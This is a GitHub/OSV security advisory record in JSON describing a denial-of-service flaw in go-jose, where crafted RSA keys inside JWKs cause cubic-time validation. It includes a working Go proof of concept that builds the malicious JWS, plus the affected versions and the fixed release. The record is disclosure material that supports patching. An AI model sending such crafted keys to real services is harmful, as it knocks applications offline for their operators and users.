{"id":"GHSA-mgcc-cww5-fp2q","summary":"Go JOSE: DoS when parsing JWKs that contain RSA keys","details":"### Summary\n\nA crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.\n\n### Details\n\ngo-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to `crypto/rsa.PrivateKey.Validate()`. On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.\n\nhttps://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700\n\n### Proof of concept\n\nNo special configuration of go-jose is required to reproduce this vulnerability.\n\n```go\npackage main\n\nimport (\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"math/big\"\n\t\"time\"\n\n\t\"github.com/go-jose/go-jose/v4\"\n)\n\nfunc main() {\n\t// The RSA parameters can be complete junk. The CPU cost is in validating them.\n\tprimeBits := 16384\n\tp := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))\n\tp.SetBit(p, 0, 1)\n\tn := new(big.Int).Lsh(big.NewInt(1), 2048)\n\te := big.NewInt(65537)\n\td := big.NewInt(3)\n\tq := big.NewInt(3)\n\n\tjwk := map[string]string{\n\t\t\"kty\": \"RSA\",\n\t\t\"n\":   base64.RawURLEncoding.EncodeToString(n.Bytes()),\n\t\t\"e\":   base64.RawURLEncoding.EncodeToString(e.Bytes()),\n\t\t\"d\":   base64.RawURLEncoding.EncodeToString(d.Bytes()),\n\t\t\"p\":   base64.RawURLEncoding.EncodeToString(p.Bytes()),\n\t\t\"q\":   base64.RawURLEncoding.EncodeToString(q.Bytes()),\n\t}\n\n\tprotected := map[string]any{\n\t\t\"alg\": \"RS256\",\n\t\t\"jwk\": jwk,\n\t}\n\tprotJSON, _ := json.Marshal(protected)\n\n\tjws := map[string]string{\n\t\t\"protected\": base64.RawURLEncoding.EncodeToString(protJSON),\n\t\t\"payload\":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),\n\t\t\"signature\": base64.RawURLEncoding.EncodeToString([]byte(\"not-a-real-signature\")),\n\t}\n\tjwsJSON, _ := json.Marshal(jws)\n\n\tstart := time.Now()\n\t_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})\n\telapsed := time.Since(start)\n\n\tfmt.Printf(\"prime bits: %d\\n\", primeBits)\n\tfmt.Printf(\"parse time: %s\\n\", elapsed)\n\tfmt.Printf(\"parse error: %v\\n\", err)\n}\n```\n\n### Impact\n\nDenial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.\n\n### Credits\n\nReported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)","aliases":["CVE-2026-116587"],"modified":"2026-10-27T19:15:23.147827328Z","published":"2026-10-27T19:01:30Z","database_specific":{"nvd_published_at":"2026-10-26T22:16:55Z","cwe_ids":["CWE-407","CWE-770"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-27T19:01:30Z"},"references":[{"type":"WEB","url":"https://github.com/go-jose/go-jose/security/advisories/GHSA-mgcc-cww5-fp2q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116587"},{"type":"WEB","url":"https://github.com/go-jose/go-jose/commit/a0111f82742fa92bceec9ede40845e73319e6230"},{"type":"PACKAGE","url":"https://github.com/go-jose/go-jose"},{"type":"WEB","url":"https://github.com/go-jose/go-jose/releases/tag/v4.1.6"}],"affected":[{"package":{"name":"github.com/go-jose/go-jose/v4","ecosystem":"Go","purl":"pkg:golang/github.com/go-jose/go-jose/v4"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.1.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-mgcc-cww5-fp2q/GHSA-mgcc-cww5-fp2q.json","last_known_affected_version_range":"\u003c= 4.1.5"}},{"package":{"name":"github.com/go-jose/go-jose/v3","ecosystem":"Go","purl":"pkg:golang/github.com/go-jose/go-jose/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"3.0.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-mgcc-cww5-fp2q/GHSA-mgcc-cww5-fp2q.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}